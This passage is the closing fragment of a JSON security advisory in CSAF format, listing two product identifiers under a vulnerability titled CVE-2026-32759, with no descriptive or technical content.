                    },
                    "products": [
                        "CSAFPID-5874106",
                        "CSAFPID-5920137"
                    ]
                }
            ],
            "title": "CVE-2026-32759"
        }
    ]
}